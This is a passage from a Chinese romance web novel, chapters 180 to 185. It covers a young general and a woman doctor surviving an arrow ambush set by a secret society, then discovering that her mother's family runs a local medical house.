《将军他过分宠妻》 第一百八十章 狗鼻子登人脸 天亮了,一个都没回来。 林序爬出了地窖,坐在院子里等到了日出,等到了天光大亮,等到了心里寒凉,他很清楚这意味着什么,只怕是一个两个都出事了。 小姑娘醒了,但是没敢出声,她很清楚自己的现在的状况,只能老老实实留在地窖里。 哪怕是全家都死绝了,她也得活下去。 活着才有希望,才能给家人伸冤报仇。 忽然间,门外响起了敲门声。 林序陡然绷直了身子,虚弱的靠坐在台阶处,瞧一眼被遮盖得严严实实的地窖门,再将目光落在远处的大门上。 “有人吗?” 外头的人在喊。 林序不吱声,只是默默的握住了袖中的短刃。 “有人吗?我们是徐氏医馆的人。” 林序:“??” “有人吗?”外面的人还在敲门。 林序就是不吱声,默默的坐在那里。 蓦地,外头的敲门声消失了。 林序:“……” 目光在四周逡巡,他吃力的扶着台阶,慢慢的站起身来,虽然身子有些摇摇晃晃的,但好歹是站直了。 墙头忽然冒出个脑袋,刹那间的四目相对,说不出的尴尬。 林序的眉心突突跳,“什么人?” “别别别,别激动。”那小子趴在墙头忙摆手,“别紧张,我是医馆的人。” 林序指着他,“你最好别进来,否则我就去报官,告你私闯民宅。” “公子莫要冲动,我是奉东家之命而来,并非刻意闯入,实在是敲门无人回应,怕里面出了什么事,所以想要看看罢了!你别激动,我不进来,我就在墙头待着!”他嘿嘿一笑,“这总不算是私闯民宅吧?” 至少,他没闯进来! “你们来干什么?”林序冷声问。 少年人忙解释,“之前有人去医馆买药,那药较为稀罕,整个永安县多半只有咱徐氏医馆才有,是以东家觉得,可能是他们遇见了难处,待人走后,怕买了这药会出事,就让咱四处找找。之前闻到此处有药味,就……” “天底下煎药的人多了,怎么,闻着药味都是你们徐家的?都是你们医馆的?狗鼻子登人脸,你是畜生成精呢?”林序张嘴就骂。 这个时候了还来添堵,不骂你骂谁? 对方一下子被林序骂懵了,好半天都没能反应过来,呆呆的蹲在墙头,就这么直勾勾的盯着林序。 “还愣在那里干什么?滚!”林序怒喝。 “好嘞!” 少年人消失在墙头。 就在林序以为,事情已经解决之时,那脑袋咻的又冒出来。 林序:“??” 要不是自己使不上劲,浑身无力,定然一脚将这小子踹飞出去。 “我瞧着你身子不太舒爽,是不是生病了?要不要我带你去医馆看大夫?”到底是医馆出来的,看人还真是准,隔着距离都能发现林序的异常。 事实上,林序已经竭力的隐藏自身的不适,站在原地也没有摇摇晃晃的,神色亦是如常。 没想到还是被看出来了…… “滚!你听不懂人话是不是?”林序显然是恼了。 少年人瘪瘪嘴,“我也是担心你出事,瞧着你这身形虚浮的样子,怕是有什么大病。” “你才有病,你全家都有病!再不滚,我真报官抓你了!”林序翻个白眼,极为不屑的双手环胸。 少年人叹口气,“徐家不怕县衙的人。” 林序:“……” 啊呀,还杠上了? 这死杠精! 等小爷好转之后,看我不薅死你! “哎,真的不需要我带你看大夫?大夫都是现成的。我们徐氏医馆的大夫,在永安县那可是一等一的好,尤其是老太爷和东家,那叫一个医术高超,能活死人肉白骨!”少年人一通吹。 林序白眼都快翻上天了,“滚,医术再好,能有月大夫医术高超?还活死人肉白骨,我看你是老虎头上打虱子,找死!” 吹牛都不打草稿的,真是笑死人! “月大夫是谁?是不是那个女子?”少年人趴在墙头。 林序:“……” 好小子,套我话呢? “关你屁事。”林序懒得理他,兀自慢悠悠的坐回了台阶,继续他的等待。 天都亮了,少将军和月大夫都没回来,李婶子也没回来。 这状况,不妙啊! “哎哎哎,你真的……” “闭嘴,滚!” 就不滚! 少年人好像是在看守什么,就趴在墙头,反正他看出来了,院子里的这个怪人如今身上有伤,又或者是有病,力有不逮,根本没办法赶他走。 管他呢! 反正是东家让他来蹲着,只要不闯进去就不算是私闯民宅,院子里的人都拿他没办法! 不过,这人似乎是在等什么? 林序的确力有不逮,便也懒得理他了,惟愿少将军无恙。 大家都能平安归来…… 天亮了。 林子里也亮堂起来。 在霍青行的怀里,陈识月很是安心,竟是小憩了片刻。 从始至终,霍青行都紧紧的抱着她,时刻留心着底下的动静,许是因为没能搜到人,又担心自己暴露,所以天亮之前全部都撤了。 陈识月是在霍青行的怀中幽幽醒转的,睁眼便是霍青行光洁的下颚,刚毅的脸部轮廓,还有……滚动的喉结。 心下平静,无半分波澜与惊颤。 羽睫微扬,她就这么静静的盯着他,也不知道自己是出于什么心思,什么目的,好像便这样看着他也不错。 “好看吗?”霍青行忽然低头。 陈识月心头一惊,忙不迭别开视线,“快点下去,快点回去。要不然的话,林序该着急了。” “好!”霍青行也没有拆穿她,旋即抱着她稳稳落地。 在树上待了一晚上,的确是疲累得很,是该早些回去的。 “我们先回那个屋子看看。”陈识月提议,“反正都已经来了,不能空手而归吧?白日里,我可以自保。” 夜里看不清楚,在林子里容易迷失方向,白日里倒是踏实得多。 “好!”只要她开口,他都会照办。 那些人提起过,此处有陷阱,所以他们回去的时候必须得万分小心。 两个人回去的路上,手里都拿着木棍,避免捕兽夹和落空的陷阱,不远处就是那个屋子,霍青行让陈识月躲在灌木丛里,只身前往查看。 “别出来,等我信号。”霍青行叮嘱。 陈识月点头,目送他纵身一跃,蹿入了屋舍…… 第一百八十一章 我心里有病 院子里已经没有人了,到处都是空的,这些人撤得干干净净,似乎根本不想纠缠,大概也是担心纠缠吧!毕竟能利用一只老鼠就跑出来的女子,只怕不是泛泛之辈。 确定内里也没什么机关,霍青行才放心的走出去,让陈识月进来。 “都空了!”霍青行方才就已经打开了所有的房门。 每一间屋子都被半空,里面都是空空如也,之所以没放火,是怕烧了整个山头,他们必定还得重建安全处。 “都跑了!”陈识月抿唇。 回到之前关押自己的屋子,陈识月眉心微凝,角落里的麻袋都没了,这帮人还真是搬得干净,此处只是他们的一个据点,所以没有多余的生活用具。 这一搬,干干净净。 “有车辙印。”霍青行进来。 陈识月忙不迭跟着他出去,是在后山那条路上,有车辙印,应该是马车离开的方向。 “这屋子里什么可用的都没了,连碗筷都没留下一副,就剩下这些茅屋。”霍青行回头看了一眼,“狡兔三窟,不知道是否还藏有其他据点。” 山林茂密,极有可能。 “好像有点白忙活一场了?”陈识月略显沮丧。 霍青行笑道,“怎么算是白忙活呢?至少咱们知道,这帮人有组织,有预谋,进退有度,训练有素,长乐门此前一直是神龙见首不见尾,现如今好像开始展露狐狸尾巴了!” “你会对付他们吗?”陈识月问。 霍青行牵着她的手,“边走边说。” 敢动她? 不对付他们,难道要忍气吞声吗? 他霍青行可不是会吃亏的主,多年前的承诺,他现在都还记得,正眼巴巴的讨回,何况这些腌臜东西腌臜事! 谁知刚走两步,霍青行忽然扣住她的腰肢,冷不丁飞身而起。 “啊……”陈识月还没来得及反应,登时耳畔“嗖嗖”声直响。 再回过神来,人已经落在了边行的灌木丛里,只瞧着那一排排的暗箭,齐刷刷的扎在了门面上,如果不是霍青行带着她跑得快,只怕已经被扎成了刺猬。 “这是留了一手?”陈识月面色发白。 霍青行瞧了一眼自己原先站立的方位,“留下了车辙印,知晓我们若是归来必定会按照印记追寻,所以就在这条路上设下了机关,纵然不死也得扒一层皮。” “该死的东西!”陈识月咬牙切齿。 霍青行捻起一根树枝,忽然就丢了过去。 还好,没什么反应。 这说明暗箭齐发,只此一次。 二人重新回到路上,陈识月拔出树上的暗箭,凑近了轻嗅,“箭上有毒。” 霍青行伸手接过,眉心微微拧起。 “怎么了?”陈识月不解。 霍青行反手又拔出了一支箭,其后放在手心里掂了掂,想了想便一发力,箭矢相扯,纷纷坠落在地。 以布裹之,置于掌心。 “分量有点不太对。”霍青行眉心微拧,“怎么像是军中所用?” 陈识月瞪大眼睛,“不会吧,这可是长乐门,是江湖组织,不是军队。” “军用的箭矢和民用是有所差别的,所有的军用器械皆有标准的分量、式样、打造方式,皆登记在册,所有人都按照朝廷明文规定所制,不可偷工减料,不可妄自更改。”霍青行解释,“民用一般分量不一,多数为轻,但我瞧着……这怎么跟咱去年收到的那批军械很像?” 陈识月张了张嘴,忽然不知道该说点什么? “如果真的是,那就问题大了。”霍青行小声嘟哝。 陈识月定定的看着他,“军械落在了长乐门,是不是说明长乐门跟朝廷武将勾结,这里面会不会有点……” 她做了个抹脖子的动作。 死罪! 若真是军械,说明长乐门在帮某些人训练私兵,自私打造军械库,或者是…… 谋反! 回过神来,霍青行沉下脸,带着陈识月快速离开。 如果发现了太多的秘密,那就得先找个安全之处,确保自身无忧,才能避开危险。 至此,陈识月不敢吱声,跟着霍青行沿着山道离开。 山路曲折,好在并不是无人经过。 到了半山腰的时候,他们遇见了途径的马车,给了点银子就搭了顺风车。 “你身上怎么有清油的味道?”从一开始,陈识月就闻到了,一直想问,但是没功夫。 霍青行摸了摸自己的双眼,“被人用石灰粉撒了,一时没防备,好在没什么大碍,就是还有点疼,要不你帮我看看,是否还有残留。” 闻言,陈识月心惊,“我看看。” 下一刻,他便巴巴的将脸凑过去。 马车内,陈识月检查得分外仔细。 若是眼睛出了问题,那还得了? 她的呼吸,近在咫尺。 温热,喷薄在面上。 她捧着他的脸,近距离的查看他的眼睛,神情专注而认真,小嘴微微抿起,身上淡淡的香味止不住的涌入他的鼻尖,以至于…… “你的脸怎么红了?好像还有点发烫?”陈识月心惊,“是不是不舒服?我看看!” 她给他把脉。 嗯,脉搏跳得很快,但……依旧强健有力。 不像是有病的样子! “你是不是……” 蓦地,她好似反应过来,忙不迭抽回手,默默的别开头不去看他。 臭不要脸的! “有点难受。”霍青行说,“心里有病。” 陈识月:“……” “月大夫,能治吗?”霍青行巴巴的望着她。 陈识月深吸一口气,只觉得呼进去的空气都是热的,带着熟悉的、霍青行的气息,让她有种莫名浑身发烫,想要逃离的冲动。 这小子,不是人! 是狐狸精! 狐媚子! 狐狸! “少在这里扯那些有的没的,再敢胡言乱语,我就扒了你的皮!”她越说越没底气。 在她别开头的时候,没发现他微扬的唇角,怎么都压不住的心中雀跃。 两个人相处,日久生情。 他就不信,不能把媳妇拐回家…… 马车快速朝前而去,到了街头才把人放下。 霍青行带着陈识月没有直接回去,而是拐进了巷子里,多绕了两个圈,免得又被人跟上,这永安县不太平,实在是有太多双眼睛,虎视眈眈…… 第一百八十二章 当年,他们差点就死了 所幸霍青行的判断是正确的,刚下马车就被人跟上了,但转个弯他就把人甩开了,悄无声息的回小院去。 当然,某人挨了一脚。 “哎呦!” 一声响,有人从墙头落下,吧嗒落在地上,疼得那叫一个龇牙咧嘴。 再抬头的时候,只瞧着前面站了两个。 “你是何人?”霍青行冷声问。 陈识月皱起眉头,“一身药味,是徐家医馆的人吧?” 少年人登时瞪大眼睛,“你……你这都能闻出来?” “来干什么?”霍青行把人提溜起来,让他靠墙根站着,“站好了,问什么就大什么,若是敢胡编乱造,我就把你丢出去。” 少年人站直了身子,“我叫江南,是徐氏医馆的学徒,我师父让我来……来请你!” 应该就是她吧? 这院子里似乎也没有别的女子了,何况这相貌,跟师父给的那幅画很像,虽然她现在很是狼狈,瞧着脸上脏兮兮的,但五官还算清楚。 霍青行瞧着她,又看了看江南。 “你们到底想干什么?”陈识月旋即警觉。 江南扶着腰,“别误会,我们就是觉得、觉得你像姑奶!” 陈识月:“??” 霍青行:“??” 原地长辈分? 这辈分到底哪儿来的? “真的真的,我见过画像,真的很像!”江南极力解释,“生伯说,说不定是碰到了后人,又或者是有什么别样的渊源,那天夜里来不及说清楚,姑娘就跑了……” 陈识月:“……” “不是寻仇吗?”霍青行问了句。 江南诧异,“寻什么仇?咱是开医馆的,是治病救人的地方,又不是打打杀杀开武馆开镖局的,哪儿用得着寻仇?东家和少东家,都是好人,又不经常出去得罪人,怎么可能有仇家?” “徐家?”霍青行看向陈识月,她母亲不姓徐啊! 一时间,谁也没说话,气氛有点尴尬。 “公子!”林序终于喊出声来。 陈识月忙不迭转身朝着他走去,“你怎么出来了?不是让你在屋子里待着吗?” “公子!”林序知道轻重缓急,拽住了霍青行的手腕,“我让李婶子去送信了。” 眉心突突跳,霍青行面色陡变。 “还没回来。”林序低声说。 霍青行一拍脑门,“这可真是……” 下一刻,霍青行看向一旁的厨房,二话不说就冲了进去,回来的时候便拿来了一根麻绳。 瞧一眼霍青行手里的麻神,江南掉头就想爬上墙,奈何还是晚了一步,被霍青行三下五除二绑得结结实实,直接丢柴房里去了。 “看好他!”霍青行看向陈识月,“如果遇见危险,这就是人质!” 陈识月连连点头,“明白!你注意安全。” 江南:呜呜呜呜? 他就是爬个墙,怎么还成人质了? 霍青行转身就走,陈识月让林序看着江南,兀自去地窖查看了小姑娘的伤势,好在还算不错。 “阿巴阿巴……”二丫指了指身边的位置。 这意思很明显,是在问她母亲的下落。 她如今还无法说话,只能发出低低的呜咽声,只能用行动表示自己的意思。 陈识月抿唇,“李婶子在上面帮姐姐做饭,给你熬药,你在这里乖乖待着,好吗?等做好了饭,熬好了药,你娘就会下来看你了。” “嗯!”小丫头点点头。 瞧着她这副乖顺的样子,陈识月心里就跟刀割一样。 这么乖顺的孩子,却要遭遇这样的无妄之灾,让她想起了自己的童年,也是这般年岁,因为家庭变故,不得不孤身一人谋生。 那样的日子,只用“艰辛”二字是完全无法概全的。 “乖!”安抚好了二丫,陈识月快速回到上面。 该做饭做饭,该熬药熬药。 两个病号呢! 林序的身子还没康复,药不能停。 二丫的身子亦是如此,现在是关键期,别看她已经苏醒,且神志清醒,能表达自己的心中所想,但如果不继续吃药,不继续敷药,伤口若是出现恶化,或者是因为身子虚弱而无力维持现状,还是会有生命危险。 火烧伤与其他的伤都不一样,不是一次性买卖,这就是个持续修复的过程,且火烧伤很难自愈,伴随着皮肉或者是肌肉的蜷缩。 虽然二丫伤不在致命处,但是她的嗓子以后就算是恢复了,可能也…… “月大夫?”林序低唤。 陈识月陡然回过神来,“什么?” “你们没事吧?”林序如今算是放松了不少,方才一直盯着江南,都快支撑不住了。 瞧着靠在躺椅上的林序,陈识月摇摇头,“没什么大事,就是找到了长乐门的一个据点,但险些落在山林里出不来,还好有你家公子在。” “那是,公子一定会护着月大夫周全。”林序笑盈盈的回答,“公子就是为你来的,虽然一开始不是因为你,但现在肯定是。他是个很认死理的人,一旦认准了某个人某件事,就不会放手!” 陈识月洗菜的手稍稍一顿,转头看向他,“你们一直在一起?” “交付脊背,可同生共死。”林序一句话,便是最好的解释,“在战场上的时候,好几次都差点撑不住,但最后都忍下来了。” 陈识月烧火做饭,音色有点闷闷的,“战场上应该很凶险吧?” “嗯!”林序应声,“最凶险的一次是我们被困在山谷里,叫天天不应,叫地地不灵,总共就剩下几百个弟兄,外面却围着三万精兵,那时候我们都把家书写好了,想着临死前给家里留点什么。” 陈识月瞧着在忙活,实则竖起耳朵倾听。 “那时候我们都以为要死了,公子也中了一箭,当时大家都很绝望。”林序嗤笑两声,“抱着临死前也要抓几个垫背的,大家在夜半三更的时候杀出重围,到了最后就只剩下我跟两个弟兄,还跟在公子的身后。还好,老将军带着人及时赶到!” 想起那一战,林序至今都觉得毛骨悚然,心有余悸,“当时浑身是血,不知道挨了多少刀,只知道自己还生下一一口气,握着刀剑的手都在颤抖,只想着杀出去,杀一个算一个,几乎都杀红眼了。” 陈识月不敢想那是什么样的场景,到处都是厮杀声,入目皆是敌军,黑压压的一片朝你涌来,而你孤身一人,脚下都是自家兄弟的累累尸骨,却只能任由鲜血漫过脚背,染红战袍…… “嗤!”一刀切在指头上,疼得陈识月忙不迭将手指塞进嘴里。 真疼! 第一百八十三章 月大夫,你想认亲吗? 林序心惊,“月大夫?” “没事没事。”陈识月忙不迭回应。 低头去看手指,血痕还在,但出血瞬间便已经止住,如今伤口正在以肉眼可见的速度愈合,看得她面色苍白,一时间僵愣在原地。 蓦地,她好似想起了什么,若有所思的看向一旁的柴房。 徐家医术高明,能不能…… 林序还在絮絮叨叨,说着战场上的事情,那些都是陈识月不曾见识过的场景,也都是霍青行的过往,刚毅的铮铮铁汉,十一岁便跟着父亲上战场,十三岁已经勇立战功,人称小将军。 老将军受伤的时候,小将军就会接上,父子二人将霍将军牢牢把握在手中,只有这样才能防止有人夺权,有人从中作梗。 “朝堂上那些老狐狸,一个个都等着咬一口,只要老将军还在,小将军守得住,这霍家军就能保卫边关,就不会让老百姓失望。”林序看着天,“我们当兵的,不就是为了保家卫国吗?” 陈识月给他盛了一碗粥,“先垫垫肚子,我去看看药好了没有?” “多谢月大夫。”林序也是真的饿了。 折腾了一天,身上是真的没力气了,吃点东西,能暖身子,也能让自己快点好起来。 “我去看看二丫。”陈识月端着一碗粥和一点小菜,快速下了地窖。 林序进了柴房,吃力的坐在边上喝粥,待喝完了米粥,这才扯下江南嘴里的布,“跟我说说徐家那位姑奶的事儿!” “姑奶就是姑奶,有什么可说的?”江南不高兴。 他们把他绑起来,让他有种“人为刀俎我为鱼肉”的感觉,实在是高兴不起来。 “我能帮你在月大夫跟前说好话!”林序此言一出,江南便犹豫了。 四目相对,各有谋算。 须臾,江南开口,“真的?” “你有别的选择?”林序反唇相讥。 江南叹口气,“姑奶年轻的时候就离开了家,不知道去了何处,反正家里人一直在找她,始终未能把人找回来。老太爷那时候也生气,觉得一个姑娘家家如此不听话,可后来姑奶一直没回来,他又开始担心,让东家去找人。” 显然,没找到。 “东家每年都会出去找人,但每年都无功而返,有时候也会央一些外出的商队,途径各个地方的时候能多加留意,可惜到现在都没能把人找回来。”江南无奈的摇头,“直到前两天的夜里……你口中的月大夫出现在医馆,生伯险些以为自己在做梦。太像了!” 林序摸着自个的下巴,喝了粥的身子,暖到了心口,真是舒坦急了。 “你不信?”江南急了,“我说的都是真的。” 林序瞥他一眼,“我也没说不信,你这么着急做什么?” “这不是怕你坏事嘛!”江南撇撇嘴,“两个人相似,要么是缘分,要么就是血缘,总归逃不开这两者之一吧?” 林序轻嗤,“你是横也有理竖也有理,横竖都占理。” “老话就是这么说的。”江南理直气壮。 林序懒得跟他废话,“继续说。” “东家已经知道了,所以满城的找人,是与不是的,总得先见一见,三言两语的也说不清楚。”江南也学会了画饼,“公子若是能让大家见上一面,如果真的能亲人相见,那就是大功一件。” 大功一件? 这要是斩杀敌军将领于军前,将帅说这话,他林序倒是相信。 其他的? 画饼都话不像! 战场上归来的人,谁手里不沾点人命? “你才多大,就敢跟我吹牛?给我画饼?”林序啧啧啧的直摇头,“还徐家都是好人,我看都是油嘴滑舌的刁民。” 江南:“……” “自己蠢,不要把谁都当傻子。”林序起身。 江南急了,“哎哎哎,你们这些外乡来的,若是没有人帮扶,这永安县怕是容不得你们。我说的是实话,你们此前是不是得罪了商家?” 脚步顿住,林序偏头看过来,“你小子还算有点眼力见,都知道如何拿捏人了?” “商家在永安县嚣张得意惯了,没人敢得罪他们,你们是外头来的,又得罪了他们,在离开之前,都脱离不了商家的眼线,他们一定会盯着你们,盯得死死的。”江南叹气。 这倒是实话。 “你早说点脚踏实地的话,别给我漫天画饼,我还用得着这么费劲吗?”林序靠在门口位置,“继续说!” 江南看着他,“徐家可以保你们。” 林序不说话。 “李家的事情,东家已经知道了。”江南继续说,“在永安县这里,暂时只有徐家能护住所有人,公子若是不信,大可以试着相信一回。” 林序当然清楚,江南这一次没说谎,话里话外的诚实度不错。 “好!” 林序点点头。 “你信了吧?”江南如释重负松了口气。 林序看向他,这小子倒也不是太蠢,但是眼下这状况,只能先等少将军回来再说。 “哎哎哎,你为何不信,你……” 林序想了想,拿起布团快速塞回他嘴里,“聒噪!” 江南:“??” 呜呜呜! 不讲武德!! 从柴房里出来,林序的面色有点凝重。 “月大夫,你想家里人吗?”林序问。 陈识月正在调配膏药,想在二丫身子康复之后,做个祛疤膏,就算不能祛除,至少能淡化一些,小姑娘家家的,总归是喜欢漂亮的。 “想!”陈识月手上的动作一顿,“想我娘,也想……那个看着不太好,听着又好似不错的爹。” 林序:“……” “小时候看不懂的事情,长大后忽然就理解了,每个年龄阶段看到的东西总不一样。”陈识月有点感慨,“反反复复看得多了,来日谈起便也没觉得那么沉重,好似什么都可以接受。” 林序抿唇,“要是忽然多一群亲戚,你也能接受吗?” “嗯?”陈识月愣住。 林序凑近了,“比如说,外祖家。” 陈识月站在原地,一声不吭。 “多个外祖,多个舅舅,多个表兄弟表妹什么的,也能接受吧?”林序又问。 陈识月定定的看着他,面上平静,心内波涛汹涌。 “其实那小子说的也没错,徐家能保住李家母女,永安县的事情应该交给永安县的人处理。”林序抿唇,“若是牵连甚广,你的身份暴露,少将军和霍家免不得受牵连。” 陈识月点头,“大实话。” “要认亲吗?”林序眨巴着眼睛笑问。 瞧着他看热闹不嫌事大的表情,陈识月幽然启唇,“你扛揍吗?” 林序笑容一滞…… 第一百八十四章 杀气腾腾 林序不敢再吱声了,亲人这两个字,在陈识月的心里分量极重,所以不允许随意的开玩笑,她本就是重情之人,否则也不会个性消沉。 正说着话,外头忽然响起了敲门声。 陈识月猛地抬头,林序下意识的眯起危险的眸子。 “你在柴房里看好这小子,我去看看!”陈识月顺手摸了把菜刀,缓步朝着门口走去。 她倒是不信了,这光天化日,朗朗乾坤,这些腌臜东西还能作妖? 门开了,菜刀“咣当”一声落地。 林序当下心惊,“月大夫!” 不知道为何,霍青行只觉得心内不安。 码头这边没有人,这一路走来也没瞧见李家婶子的踪影,不知道此番身在何处?他站在那里,远远的瞧见了那个标记。 因着今日天气不错,码头上的搬运工都在忙忙碌碌的,船只停靠在岸边,瞧着一切都是那样的平静祥和,好似什么都没发生过。 昨夜那艘船已经消失不见了,想来是同伙发现了异常,所以就连人带船全部带走。 霍青行在码头绕了一圈,面色凝重的回到了僻静的角落站着。 蓦地,他骤然转身。 数道身影立在后面,毕恭毕敬的行礼,“少……公子!” 四下无人,周遭寂静。 霍青行扫一眼众人,“来了多少人?” “目前就咱们四个,过来查看情况,若是公子有恙,可让后续之人继续过来。”为首的开口。 霍青行瞧了一眼四人,“留一人在码头,随时准备传信。” “老四,你留下!”为首的开口。 霍青行瞧着各个乔装打扮之人,“安信,你过来。” 为首的快速上前,“公子?” “可有瞧见传信的妇人?身上有烧伤,应该神情很紧张。”霍青行看向他,“你们来的时候,可有遇见?或者是发现什么异常?” 安信皱眉,“妇人?没有!不过异常嘛……倒是有,之前有人在码头来回转悠,不是搬运工也不是帮工,瞧着像是在等什么。” “人呢?”霍青行问。 安信努努嘴,“在前面,咱之前盯了一会,察觉他们没注意我们,便没有打草惊蛇。” “走!”霍青行长长吐出一口气。 永安县状况复杂,不能行差踏错。 果然,在码头那边的角落里,有两个人一直在徘徊,时不时的将目光落在江面船只上,又看了看往来的船客,似乎是在找什么。 “摁下!”霍青行开口。 安信慢慢悠悠的上前,不知跟那人说了什么,便将二人都引到了僻静处,察觉四下无人,登时一记手刀便同手底下人一起,拿下了二人。 四人抬着两个人,快速钻进了巷子里。 霍青行就等在那边,瞧着抬进来的两个人,“没被人发现吧?” “咱办事,公子只管放心。”安信可不是吃素的,能被老将军派来跟着公子,能是简单的角色? 素日里摸排敌情,那可是一等一的好手。 从袖中取出一个小瓷瓶,凑到二人跟前,只听得两声喷嚏,两人从浑浑噩噩中醒转,脖颈处架着冰冰凉凉的刀刃,愣是没敢动弹分毫。 “好汉饶命!” “别,别杀我。” 霍青行背对着二人,巷子昏暗,更是瞧不清楚他的真容。 “你们是商家的人?”霍青行音色低沉。 刀子往前凑了凑,登时划出了一道细细的血痕,惊得二人差点尿裤子,身子都跟着止不住颤抖起来。 如此,并非长乐门之人。 “是!” 果然,如霍青行所料。 “你们在这里干什么?等着抓李家的妇人?”霍青行问。 两人颤抖着,低低的应声,“是。” “没抓住?”霍青行又问。 “是!” 霍青行沉默了。 商家的人在这里出没,却没有抓住李婶子,那就说明李家婶子已经脱身,只是此刻会在何处呢? 没落在商家的手里,想必也不会落在长乐门的手里。 “公子?”安信上前。 霍青行抬步就走。 “绑了。”安信看一眼二人,“堵住嘴。” 底下人会意。 横竖不是什么好人,干脆就别做人了。 霍青行掉头就回,尽量避开人群,免得被人跟着,好在如今身边还剩下安信等三人帮忙,接下来会顺遂不少。 只是…… 院门大开,里面一个人都没有。 “小月儿?”霍青行杀气腾腾的冲进去。 院里院外,屋内屋外。 霍青行几乎将整个院子都翻转了过来,愣是没找到他们的踪迹,陈识月失踪了,林序也失踪了,包括锁在柴房里的江南亦不见踪迹。 想了想,他忙不迭打开了地窖的门。 里面,空空如也。 李家的二丫头也失踪了…… 谁? 谁把他媳妇拐走了? “少将军?”安信有点心慌,少将军从来没有这般慌乱过,可现在好像、好像分外紧张,且一身戾气凌然,瞧着怪瘆人的,“你没事吧?” 霍青行眸色猩红,一掌拍碎了院中的桌案,“谁干的?” “少将军,没有血迹,也没有搏斗痕迹,只有门口这一把菜刀!”安信皱起眉头,“好像是自己跟着走的。” 林序身子不好,使不出劲儿,所以不可能跟人动手,但他这倔强的性子,若是真的遇见了危险,宁可两败俱伤,也不会听人摆布。 陈识月也是个聪明的,昨夜那样凶险与突然,竟也可以送出消息,引到霍青行,也不可能轻易的束手就缚。 再有便是…… 地窖的入口很是隐秘,藏得这般严实,若不是陈识月和林序主动打开,旁人未必能发现。 真的是自己跟着走的? “少将军!”老二急匆匆跑来,“桌案上发现这个!” 霍青行旋即接过,上面只写了四个字。 “徐氏医馆!” 霍青行好似明白了什么,冷不丁将信纸揉成团。 锁好院门,霍青行沉着脸出去。 老二凑上来,“老大,怎么少将军一副想要吃人的表情?看着怪瘆人的。” “你少废话!”安信白了他一眼,“若是你媳妇跟人跑了,你脸色能好?” 老二:“……” “跟野男人跑了?”老三小声问。 下一刻,安信慌忙捂住他的嘴,“祖宗,你能不能闭嘴,再胡说,小心你的脑袋开瓢!” 没瞧见霍青行一身的杀气腾腾…… 第一百八十五章 她还会愿意,跟他走吗? 霍青行几乎是第一时间赶去了徐氏医馆,当然,处于安全考虑,没有打草惊蛇,而是先在徐氏医馆附近绕一圈,确定没什么大碍,这才让众人在外头候着,兀自进去探探底。 安信深吸一口气,面色略显凝重,“可千万不要出什么事啊!” “老大,能出什么事?这是大夫,不是屠夫。”老二嘀咕,“咋地,大夫提刀?” 安信白了他一眼,“就你话多,能不能说点吉祥话?” “哦!”老二讪讪的闭了嘴。 一切还是等少将军出来再说吧! 徐氏医馆今日没开门,所以霍青行只能从墙头翻进去。 没想到徐氏医馆的后院这般宽敞,不但有专门晾晒药材的场地,还有专门供人休息的卧房,以及专门的熬药房。 这么宽敞? 霍青行有点发愣,原本以为就是个医馆,没想到这都赶上大院了! 但是,人会在哪? 熬药房是不可能的,卧房吗? 霍青行决定从头捋到脚,大不了挨个找过来。 三个伙计忙着晾晒药材、碾磨药粉,两个人伙计在忙着就煎药,瞧着井然有序,倒是没什么异常反应,想来是没有外人闯入的。 那就不可能在这里,应该是在厢房那边吧? 厢房这边是独门独院的,居然还自带小花园,虽然不大,但有湖有假山,二层小楼修葺得整洁明亮,就是不知道在哪个房间? 白日里,没有灯。 难以辨别! 霍青行只能挨个房间找过去,终于在最里面那间屋子外面,听到了说话的声音。 眉心微蹙,他纵身一跃便挂在了檐下梁上,悄无声息的凑近了天窗。 奇怪的是,这并不是陈识月的声音。 不是说在徐氏医馆吗? 人呢? “送过去了?”男人问。 老者颔首,“东家放心,少东家亲自带着过去的,错不了,何况还有小姐陪着,一定能稳住她。等着见到了老太爷,想必就能解开疑惑了。不过表小姐看着好像不太高兴,心里揣着事儿呢!” “等忙完了手上的活,我就回去。”男人叹口气,“生伯,你若是没什么事了,就先回去看看。” 霍青行想起来了,是那天晚上的老者。 生伯?! 对,就是他。 “好!”生伯出了门。 霍青行小心的藏匿行踪,瞧着生伯离去的方向,只要跟上他,想必就可以找到陈识月。 果不然。 生伯进了徐府大门,这应该就是徐氏医馆的东家所在。 徐世代为医,且祖上出过太医,曾伺候在君前,所以这府邸内外透着浓厚的医者世家之风,伺候的仆从不多,但是到处都透着古朴。 霍青行进去的时候,有种精神恍惚之感,瞧着偌大的门庭院落,难分东南西北。 这徐家的大院极为雅致,越往内走越是如此。 生伯走在前面,霍青行悄摸着跟在后面。 安信等人,则悄悄的蛰伏在外面。 终于,行至内院。 “少东家?”生伯进了院子。 嬉笑声传出,是两个女子的声音。 “生伯!”徐玉莹笑盈盈的回答,“哥哥不在,去佛堂请祖父去了。” 闻言,生伯点点头,“表小姐可还好?” “放心放心,我可喜欢姐姐了。”徐玉莹挽着陈识月的胳膊,“姐姐也喜欢我,我与姐姐是惺惺相惜。还有啊生伯,那个小丫头怎么样了?” 生伯忙道,“小姐放心,有东家在呢!错不了。” 徐家的医馆,徐家的大夫,那可是一等一的好,只要有徐家的人出手,绝对错不了。 在这一点上,陈识月还是相信的。 自己身上的这本医书就是出自徐家,所以说徐家的医术远超自己,治疗二丫其实没什么太大的问题,此前自己已经做出处置,只需要后续继续便罢! “那就好!”徐玉莹如释重负,“姐姐,这下你可以放心了。” 陈识月点点头,“那就好。对了,林序呢?” “那位公子吗?”徐玉莹问。 陈识月眼巴巴的看着她,“如何?” “放心吧!”生伯开口,“那位公子身子骨不错,虽然此前中过毒,但一副汤药下去,业已好转不少,明日应该就能安然无恙。” 陈识月也知道,林序的状况的确如此。 那就好! 瞧着院子里的场景,霍青行转身离开。 他找到了林序。 此刻的林序已经喝完了药,正靠在软榻上歇息,听得动静第一时间睁开眼,下一刻便是霍青行轻飘飘的落在软榻边上。 “哟,都享受上了?”霍青行故作矫情的为他掖了掖被角,“要不然,我给你捏捏腿,捶捶肩?” 林序:“……” 完犊子。 “少、少将军!”林序呼吸微促,“误会,一切都是误会,我也是被人绑来的,不是自己真的要、要享受什么!您不知道吧?这是月大夫母亲的娘家!” 霍青行也不同他开玩笑了,“我知道。” 看这样的状况,十有八九是对的。 陈识月似乎已经验证过了,又或者说,她见过了徐家的其他人,在某些方面得到了确认。 比如,医术。 “少将军?”林序凑上来,小声的开口,“她会不会就此舍不得,不走了?” 眉睫陡然扬起,霍青行心头咯噔一声。 